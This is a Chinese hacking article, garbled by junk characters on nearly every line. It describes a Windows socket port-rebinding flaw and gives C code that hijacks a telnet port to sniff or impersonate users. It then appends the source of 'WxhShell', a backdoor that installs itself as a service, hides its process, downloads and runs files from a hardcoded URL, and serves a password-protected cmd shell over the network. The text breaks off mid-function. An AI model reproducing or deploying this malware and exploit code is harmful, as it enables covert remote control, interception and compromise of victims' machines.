在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2Tagr1L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
w$Rro)?}7 >Vwc3d saddr.sin_family = AF_INET;
|y2w9n0D ;NHt7p8SE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
} x2DT8u lb3]$Da
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1#ft#-g} zlEX+=3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
sL\L"rQN6 d&+h}O 这意味着什么?意味着可以进行如下的攻击:
< Pky9o; Ym =FgM\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~W{2Jd "t~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
GhIKvX_N E6pMT^{K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
BBtzs^C|
%*L:sTj( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
{qN 5MsY x;8A!8w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
id1s3b; Yj6*NZ* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
t({W
[JL jW
3c" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
lx[oaCr /\4'ddGU #include
7eV
di* #include
.8by"?** #include
<|SRe6m #include
Z)SY.iK. DWORD WINAPI ClientThread(LPVOID lpParam);
oyYR-4m\ int main()
.~l=zu {
-@0GcUE:r WORD wVersionRequested;
}#^
B#?O DWORD ret;
;{KV /<3 WSADATA wsaData;
[E/\#4b BOOL val;
3_MS.iM SOCKADDR_IN saddr;
fmb} 2h SOCKADDR_IN scaddr;
{M^3m5.^ int err;
?'KL11@R SOCKET s;
pQtJc*[! SOCKET sc;
MMx9(`t*. int caddsize;
+O*/"]h HANDLE mt;
7r~~Y%=C| DWORD tid;
$>u*}X9 wVersionRequested = MAKEWORD( 2, 2 );
[YUv7|\ err = WSAStartup( wVersionRequested, &wsaData );
Nw1#M%/!r! if ( err != 0 ) {
7aQc=^vaZ printf("error!WSAStartup failed!\n");
t3&LO~Ye return -1;
,Q
HU_jt }
)~HUo9K9 saddr.sin_family = AF_INET;
&QGdLXOn 93`
AWg/T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
L_wk~z aD=A^ktx saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
f;x kT saddr.sin_port = htons(23);
!>zo_fP if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
vM*($qpAy {
oaoU _V printf("error!socket failed!\n");
]Zyur` return -1;
c0;t4(
&8 }
.`4{9?bR val = TRUE;
/7t>TYip! //SO_REUSEADDR选项就是可以实现端口重绑定的
k=4N.*#`y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
t\%HX.8[;% {
t ]_VG printf("error!setsockopt failed!\n");
8p@Piy{p return -1;
}L# _\ }
~==>pj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/.o^R6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
q(.:9A*0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
e0T34x' v,4pp@8rv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
CJJzCVj {
oIb|*gX^ ret=GetLastError();
O0pDd4)" printf("error!bind failed!\n");
:]^P1sH[ return -1;
LS88.w\=S@ }
/eOzXCSws listen(s,2);
;[u%_ while(1)
EodQ*{l {
,kF}lo) caddsize = sizeof(scaddr);
}7
c[Q($K //接受连接请求
Q^e}?v%=%3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
fH> NJK; if(sc!=INVALID_SOCKET)
h?8]C#6^ {
I^8"{J.Q)[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
w6W}"Uw if(mt==NULL)
.[JYj(p {
o\3L}Y printf("Thread Creat Failed!\n");
oWC@w break;
!=:$lzS^ }
Gch[Otq]% }
l: <?{)N` CloseHandle(mt);
Qkd<sxL }
K_El& closesocket(s);
k'IYA#T6 WSACleanup();
v%s`~~u%^ return 0;
oNU0 qZ5 }
,XIz?R>;c DWORD WINAPI ClientThread(LPVOID lpParam)
pSr{>;bN {
(
|PAx( SOCKET ss = (SOCKET)lpParam;
'&gF> SOCKET sc;
hDcEGU_ unsigned char buf[4096];
{FIXc^m' SOCKADDR_IN saddr;
L}}y'^( long num;
:)_~w4& DWORD val;
f3H ed DWORD ret;
AQ+]|XYo_ //如果是隐藏端口应用的话,可以在此处加一些判断
<X7FMNr[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7A\~)U@ saddr.sin_family = AF_INET;
]"1`+q6i saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.Y3pS/VI saddr.sin_port = htons(23);
e=Z,
Jg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LF~*^n> {
@Q^P{ printf("error!socket failed!\n");
qd#sY.|1 return -1;
mN>h5G>a }
1e>s{ val = 100;
F^5?\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q@@T]V6 {
BvR-K\rx ret = GetLastError();
B:e
@0049 return -1;
Gu'rUo3Do }
5o6>T! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
P#_sg0oJF {
F8uNL)gKj) ret = GetLastError();
=Uj-^qcE return -1;
z%e8K( }
$zyIuJN# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2A\,-*pc {
B7]C]=${m printf("error!socket connect failed!\n");
.9"Y_/0 closesocket(sc);
CWNx4)ZGw closesocket(ss);
|6(ZD^w return -1;
>zhO7,=, }
ObE,$_ k while(1)
L
W;heO" {
kf;/c}} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
jWY$5Vq<H //如果是嗅探内容的话,可以再此处进行内容分析和记录
Wa1,
p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Vg>( Y, num = recv(ss,buf,4096,0);
'/$d0`3B> if(num>0)
#~=hn8 send(sc,buf,num,0);
A5H3%o(6k else if(num==0)
IR- dU<<9O break;
wo3wtx num = recv(sc,buf,4096,0);
*0}3t<5 if(num>0)
X5`A GyX send(ss,buf,num,0);
}4{fQ`HT else if(num==0)
9&2Vm;F_ break;
r)1'ePI" }
x&`~R>5/ closesocket(ss);
}#qGqY*@LK closesocket(sc);
q-rB2 return 0 ;
=e}H'5?! }
f_imyzP v0kqu <N`J`J-[ ==========================================================
Ht-t1q Qq@G\eRo 下边附上一个代码,,WXhSHELL
4_UU<GEp S<L.c ==========================================================
tU^kQR! I`w4Xrd #include "stdafx.h"
"
beQZG uu/+.9 #include <stdio.h>
I0'[!kBF| #include <string.h>
Kv@eI$t5 #include <windows.h>
xy<`# #include <winsock2.h>
$Y9jrR'w #include <winsvc.h>
yR~R: #include <urlmon.h>
"&/]@)TPz }HG#s4 #pragma comment (lib, "Ws2_32.lib")
~-#yOu
,w #pragma comment (lib, "urlmon.lib")
7nVRn9Hn {66fG53x #define MAX_USER 100 // 最大客户端连接数
bO;(bE m@ #define BUF_SOCK 200 // sock buffer
a2f^x@0k #define KEY_BUFF 255 // 输入 buffer
-3&G"hfK qTB$`f'|$ #define REBOOT 0 // 重启
5I,gBT|B #define SHUTDOWN 1 // 关机
J j=; T?p`) #define DEF_PORT 5000 // 监听端口
7P B)'Wl"6 97,rE$bC #define REG_LEN 16 // 注册表键长度
m$LVCB #define SVC_LEN 80 // NT服务名长度
lg}HGG |T4kqW{ // 从dll定义API
gUAxyV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]O
TH"*j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
jhGlG-^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
EQe5JFR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;&b%Se@#p aZk&`Jpz // wxhshell配置信息
g2R@`./S struct WSCFG {
zD)pF1,7:8 int ws_port; // 监听端口
/:\3 \{?0m char ws_passstr[REG_LEN]; // 口令
OI0B:() int ws_autoins; // 安装标记, 1=yes 0=no
vZ#!uU^a: char ws_regname[REG_LEN]; // 注册表键名
-.<k~71 char ws_svcname[REG_LEN]; // 服务名
$>R(W=Q char ws_svcdisp[SVC_LEN]; // 服务显示名
t0#[#I1+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Y
e+Ay char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`aqrSH5^h int ws_downexe; // 下载执行标记, 1=yes 0=no
b}G24{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8yWoPm<A char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Qpt&3_ + q''y };
xAwf49N~ S :8OQI // default Wxhshell configuration
l+y}4k=/ struct WSCFG wscfg={DEF_PORT,
'+*-s7o{ "xuhuanlingzhe",
2uk x (Z
1,
3|rn] yZ "Wxhshell",
RiO="tX' "Wxhshell",
>?YNW "WxhShell Service",
\Xt)E[ "Wrsky Windows CmdShell Service",
DJQglt}~ "Please Input Your Password: ",
,}C8;/V 1,
uD["{?H "
http://www.wrsky.com/wxhshell.exe",
a}d6o;li "Wxhshell.exe"
!]S=z^"< };
0m+8P$)C% x7RdZC // 消息定义模块
}t>q9bZ9z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
QMk+RM8U char *msg_ws_prompt="\n\r? for help\n\r#>";
nSY-?&l6P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
kDB iBNdB char *msg_ws_ext="\n\rExit.";
mYNEz
@ char *msg_ws_end="\n\rQuit.";
_a+ICqR char *msg_ws_boot="\n\rReboot...";
);
6,H.v char *msg_ws_poff="\n\rShutdown...";
ewB!IJxh char *msg_ws_down="\n\rSave to ";
)Hf~d=GG L"rcv:QWZa char *msg_ws_err="\n\rErr!";
nd+?O7~}( char *msg_ws_ok="\n\rOK!";
hkW{88 *) }
:l char ExeFile[MAX_PATH];
m8u=u4z(" int nUser = 0;
!Z-9tYO HANDLE handles[MAX_USER];
9iK&f\#5H int OsIsNt;
7 7^
"xsa rd|crD3 SERVICE_STATUS serviceStatus;
f^u^-l SERVICE_STATUS_HANDLE hServiceStatusHandle;
-^Rb7 g- XW^8A77H // 函数声明
*0-v!\{ int Install(void);
b^%?S8]h int Uninstall(void);
T|!D>l' int DownloadFile(char *sURL, SOCKET wsh);
ru DP529; int Boot(int flag);
.`mtA`N void HideProc(void);
1N>6rN int GetOsVer(void);
;n`
$+g:> int Wxhshell(SOCKET wsl);
2@4x"F]U; void TalkWithClient(void *cs);
QQT G9s int CmdShell(SOCKET sock);
Yg$@ Wb6 int StartFromService(void);
u2\+?`Ox int StartWxhshell(LPSTR lpCmdLine);
2DUr7rM 6 1L7
-~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Y=3X9%v9g VOID WINAPI NTServiceHandler( DWORD fdwControl );
90?,-6 'xsbm^n6a& // 数据结构和表定义
6TY){Pw SERVICE_TABLE_ENTRY DispatchTable[] =
pK<%<dIc {
6#fOCr;f7 {wscfg.ws_svcname, NTServiceMain},
kAY@^vi {NULL, NULL}
\m%J`{Mt };
Oq[i & ot]>}[
// 自我安装
EZ..^M3 int Install(void)
wInY7uBd! {
{ip=iiW2 char svExeFile[MAX_PATH];
xnT3^ #-h HKEY key;
?_8%h`z strcpy(svExeFile,ExeFile);
HgYc@P*b 2ve
lH; // 如果是win9x系统,修改注册表设为自启动
mMV2h|W if(!OsIsNt) {
DakLD~H; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Go-wAJ> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r>E\Cco RegCloseKey(key);
4=~ 9v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^GE^Q\&D& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HE*7\"9 RegCloseKey(key);
+:fqL return 0;
C:rRK* }
W]Y@WKeT }
#-}kG" }
||yXp2 else {
S@9w'upd uE"5 cq'B/ // 如果是NT以上系统,安装为系统服务
<9ePi9D( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'$n:CNha if (schSCManager!=0)
:a#F {
c!tvG*{ SC_HANDLE schService = CreateService
zhuyePn (
zv$Gma_ schSCManager,
olYPlHF wscfg.ws_svcname,
+fC#2%VnU wscfg.ws_svcdisp,
#.<*; rB SERVICE_ALL_ACCESS,
"|(rVj= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
f0/jwfL SERVICE_AUTO_START,
/!^L69um SERVICE_ERROR_NORMAL,
7vii9Am7 svExeFile,
]|Ow_z8
O NULL,
Ko1AaX(I'+ NULL,
x1 .3W j NULL,
t9?R/:B% NULL,
~!8%_J _ NULL
0\?_lT2 );
>r;ABz/ if (schService!=0)
>(IITt {
q:TZ=bs^ CloseServiceHandle(schService);
qgwv=5| CloseServiceHandle(schSCManager);
o}WB(WsG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!T<z'zZU strcat(svExeFile,wscfg.ws_svcname);
kb/|;! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[ED!J~lg8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
HF*j`} RegCloseKey(key);
i!CKA}", return 0;
fQ=&@ >e }
ML=hKwCA }
4y|xUO: CloseServiceHandle(schSCManager);
_ff=B }
~bQFk?ZN+ }
2(c<U6#C'l Z-N-9E return 1;
|HaU3E*R }
0MwG}|RC Fv?R\`52u // 自我卸载
s(1_: int Uninstall(void)
Gl?P.BCW.& {
`U{o: HKEY key;
ke3HK9P; Ybs=W<- if(!OsIsNt) {
xT_fr,P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B6tcKh9d, RegDeleteValue(key,wscfg.ws_regname);
uvu**s RegCloseKey(key);
^ 4u3Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*k3 d^9o# RegDeleteValue(key,wscfg.ws_regname);
#JJp:S~` RegCloseKey(key);
pRQfx^On return 0;
Nw9-pQ }
)'BJ4[aq\ }
6.
+[
z }
d8Q_6(Ar| else {
R$!;J?SS f_i"/xC-/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
H j5WJ{p. if (schSCManager!=0)
6e$sA (a=i {
&%f ]-=~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
,<uiitOo if (schService!=0)
GL;x:2XA {
w8m8r`h if(DeleteService(schService)!=0) {
R,d70w
(_ CloseServiceHandle(schService);
yNhscAMNn CloseServiceHandle(schSCManager);
Dyouk+08x return 0;
U:mq7Rd8 }
3<zTkI CloseServiceHandle(schService);
X/`#5<x }
zCBtD_@ CloseServiceHandle(schSCManager);
I{?E /Sc }
X] JpS }
AhbT/ *O(/UVuD\ return 1;
.yK\&q[< }
)}k?r5g (PsSE:r}+ // 从指定url下载文件
5O;a/q8" int DownloadFile(char *sURL, SOCKET wsh)
[x$eF~Kp {
xu%!
b0 HRESULT hr;
!\&7oAs=I char seps[]= "/";
F653[[eQ char *token;
lry&)G=5 char *file;
#czyr@ char myURL[MAX_PATH];
\4\\575zp' char myFILE[MAX_PATH];
L!8 -:)0b AjL?Qh4 strcpy(myURL,sURL);
9?g]qy,1) token=strtok(myURL,seps);
Ew?/@KAV\ while(token!=NULL)
c5=v`hv {
c&(, file=token;
]%hI- token=strtok(NULL,seps);
:]hfmWC }
jhM|gV& 8}T3Fig,q GetCurrentDirectory(MAX_PATH,myFILE);
|JQKxvjT strcat(myFILE, "\\");
]+9:i!s strcat(myFILE, file);
muY^Fx send(wsh,myFILE,strlen(myFILE),0);
s>I}-=.(Q send(wsh,"...",3,0);
_>64XUZ<n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
qrh7\`,.m/ if(hr==S_OK)
*.l=>#qF return 0;
h(sKGCG else
[~S0b return 1;
d^^>3L!h ['1?'* }
q)zvePO# {v(|_j&:o // 系统电源模块
DR8dJ# int Boot(int flag)
YO+d+5 {
m:CpDxzbf HANDLE hToken;
uGWk(qn TOKEN_PRIVILEGES tkp;
H/f=
2b ZVU)@[s if(OsIsNt) {
xw
Qkk OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
| 'G$}]H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6}2Lt[>O tkp.PrivilegeCount = 1;
g'E^@1{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`#F>?g$2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>=Veu; A if(flag==REBOOT) {
kfV}w, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K)ib{V(50 return 0;
(@9}FHJzi }
\g/E4U.+ else {
eO#)QoHj^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u5[Wr : return 0;
p*A//^wQ }
HtlXbzN%) }
je\UfEo% else {
59u7q( if(flag==REBOOT) {
QH:i)v* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1>1!oml1E return 0;
WxdYvmp6z[ }
UPsh Y else {
r@aFB@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
e2v,#3Q\ return 0;
.H"gH-I }
7 m%|TwJN }
Ff30% '1aOdEZA* return 1;
= 8n*%NC }
e^fjla5 m6}"g[nN // win9x进程隐藏模块
3.Qwn. void HideProc(void)
dc *#?G6^ {
4 2~;/4 ;lldxS HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
bbnAmZ if ( hKernel != NULL )
aj:+"X-; {
:iJ= 9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@:
NrC76 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4YJs4CB FreeLibrary(hKernel);
\y=,=;yv }
MLJ8m :
f Wh7X3 return;
^,50]uX_ }
zR:S.e< ]yyfE7{q // 获取操作系统版本
lVtgg? int GetOsVer(void)
PGJ?=qXr# {
MTQdyTDHl OSVERSIONINFO winfo;
0&Qn7L winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
'#XP:nqFkK GetVersionEx(&winfo);
V%+KJ}S!Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2>mDT return 1;
nt4> 9; else
5 p750`n return 0;
~k&b3-A} }
,]+6kf 5 Z#0z #M` // 客户端句柄模块
St?vd+(> int Wxhshell(SOCKET wsl)
5(,WN {
\Ew2@dF{O SOCKET wsh;
btee;3` struct sockaddr_in client;
w>#~_x,` DWORD myID;
Ts^IA67&< sI`Lsd'V while(nUser<MAX_USER)
r"xo 9&| {
he/FtkU int nSize=sizeof(client);
K@hv[4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4bmpMF- if(wsh==INVALID_SOCKET) return 1;
\!-X&ws q4VOK
'N handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-~jM=f$ if(handles[nUser]==0)
<53~Y closesocket(wsh);
.L8S_Mz else
#T+%$q [: nUser++;
~6R|
a }
2/I^ :*e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h!$W^Tm2g J)66\h= return 0;
#Ez>]`]TB }
#b:8-Lt:M O||M
| // 关闭 socket
.F9>|Xx[ void CloseIt(SOCKET wsh)
4"0`J {
WPLAh_fe closesocket(wsh);
b{9q nUser--;
m7fmQUk ExitThread(0);
Cdc6<8 }
Uq7 y4zJ u=A&n6Q[Vo // 客户端请求句柄
1S <V,9( void TalkWithClient(void *cs)
']>@vo4kK{ {
#R@{Bu=C (`xhh SOCKET wsh=(SOCKET)cs;
]7Tjt A.\q char pwd[SVC_LEN];
(@~d9PvB> char cmd[KEY_BUFF];
N^B
YNqr char chr[1];
4$@)yZ int i,j;
GAV|x]R jCxw|tmgq while (nUser < MAX_USER) {
q B5cF_ 8v_HIx0xu if(wscfg.ws_passstr) {
$Ic:
c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g!i\AMG? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>#<o7] //ZeroMemory(pwd,KEY_BUFF);
y#o ,Vg*V i=0;
'3
5w( while(i<SVC_LEN) {
(@>X!]{$ `XS6t)!ik // 设置超时
H0_hQ:K fd_set FdRead;
k/ls!e? struct timeval TimeOut;
aovRm|aOo' FD_ZERO(&FdRead);
YD 1u FD_SET(wsh,&FdRead);
7FMO''x TimeOut.tv_sec=8;
$d'GCzYvZ TimeOut.tv_usec=0;
,~p'p) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
" P c"{w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|]w0ytL>(2 p
eQD]v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
LSS3(l[,: pwd
=chr[0]; 1$]4g/":o
if(chr[0]==0xd || chr[0]==0xa) { JL=MlZ
pwd=0; ;9MsV.n
break;
s>~ h<B
} =yJJq=!
i++; Wt*&_+ae
} Ze[ezu
?aR)dQ
// 如果是非法用户,关闭 socket sN.h>bd
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7+ QD=j-
} PBc.}TSGj
tQ=M=BPZ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q{?Po;\D
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ x-
R78'
q^ lx03
while(1) { gh>'O/9
-*t4(wT|j
ZeroMemory(cmd,KEY_BUFF); {PZNJ 2~
Q{F*%X
// 自动支持客户端 telnet标准 bR"hl? &c
j=0; k \rzvo=U
while(j<KEY_BUFF) { +dIDFSd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?4vf2n@
cmd[j]=chr[0]; G41 gil6k
if(chr[0]==0xa || chr[0]==0xd) { 0 UdAF
cmd[j]=0; R1 u1
break; *<Yn
} 4
qMO@E_
j++; X~wkqI#d%E
} !.9pV.~
.4P5tIn\
// 下载文件 n<\
WVi
if(strstr(cmd,"http://")) { n%GlOKC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t-7^deG'/n
if(DownloadFile(cmd,wsh)) ~H"Q5Hr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -v"\WmcS
else ;T6{J[
h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g$+u;ER5
} 3{OY&
else { ernZfd{H
1|/P[!u
switch(cmd[0]) { ".aypD)W
c4Q{
// 帮助 WrWJ!
case '?': { ~gU.z6us
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]r++YIg!j
break; P>q"P1&{
} $qOV#,@
// 安装 e_mUO"
case 'i': { 4wfT8CL
if(Install()) A0Z<1|6r*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R1$O )A}k
else f44b=,Lry5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / O@'XWW
break; `R:p-"'b
} (Ic{C5'
// 卸载 8w,U[aJm
case 'r': { CZE!rpl
if(Uninstall()) }<?1\k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .1F(-mLd
else FtBYPSGz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8I=n9Uyz
break; 5:[<pY!s#
} <?|v-(E
// 显示 wxhshell 所在路径 B<)c{kj
case 'p': { (S~|hk^
char svExeFile[MAX_PATH]; nsO!
strcpy(svExeFile,"\n\r"); :5kgJu
strcat(svExeFile,ExeFile); )Rhy^<xH
send(wsh,svExeFile,strlen(svExeFile),0); `LD#fg*
break; GL4-v[]6I
} c*0pF=3
// 重启 V?KACYd@O
case 'b': { ziFg+i%s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M9mC\Iz[
if(Boot(REBOOT)) 'n'83d)z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B+e$S%HV
else { XL@Y!
closesocket(wsh); Z+jgFl
4
ExitThread(0); Bvbv~7g(
} 53y,eLf
break; \SB~rz"A
} H)XHlO^
// 关机 ;Dl< GW3<
case 'd': { I%dFVt@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FmU>q)
if(Boot(SHUTDOWN)) vN=bd7^?=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y\}39Z(]
else { ^4jIT1
closesocket(wsh); t\[aU\4-7
ExitThread(0); fC!]M hA"i
} o_un=ygU
break; +APf[ZpU
} gQpF(P
// 获取shell AEjkqG4qv
case 's': { x --buO
CmdShell(wsh); hY5G=nbO*
closesocket(wsh); XS!mtd<q
ExitThread(0); jI`1>>N&1
break; EH;w
<LvT
} ,^dyS]!d$
// 退出 t?[|oz:v
case 'x': { {?-@`FR-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 99T_y`df
CloseIt(wsh); L\@SX?j
break; KH4
5A'o
} #N`~.96
// 离开 NL})_.Og
case 'q': { &w{""'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]6wo]nV[P
closesocket(wsh); &"bcI7uGT
WSACleanup(); 'B;aXy/JC
exit(1); CTu#KJ?j
break; U1&pcwP
} 7%aaqQ1T
} B1]5% B
} EC6)g;CO
Mx,QgYSu
// 提示信息 Vc!` BiH
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R-Y |;
} !f~ =p
} zo*YPDEm"
&Nx'Nq9y
return; ]<z4p'F1%
} Ax[!7~s
TV$Pl[m
// shell模块句柄 `Z]Tp1U
int CmdShell(SOCKET sock) P9Hv){z
{ f!;i$Oif
STARTUPINFO si; rDkAeX0
ZeroMemory(&si,sizeof(si));
&T?>Kx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KNU/Kc#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]#]m_+} Z
PROCESS_INFORMATION ProcessInfo; ty]JUvR@
char cmdline[]="cmd"; lJ@2N$w
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'U]= T<
return 0; S/-[OA>N
} ,>CFw-Nxu
<{m!.9g9
// 自身启动模式 ]xQPSs_
int StartFromService(void) "!<Kmh5
{ B`OggdE
typedef struct 2%0zPflT
{ GL&ri!,
DWORD ExitStatus; x.ZV<tDi7
DWORD PebBaseAddress; yA*~O$~Y
DWORD AffinityMask; iRo UM.%
DWORD BasePriority; pH.wCD:1n
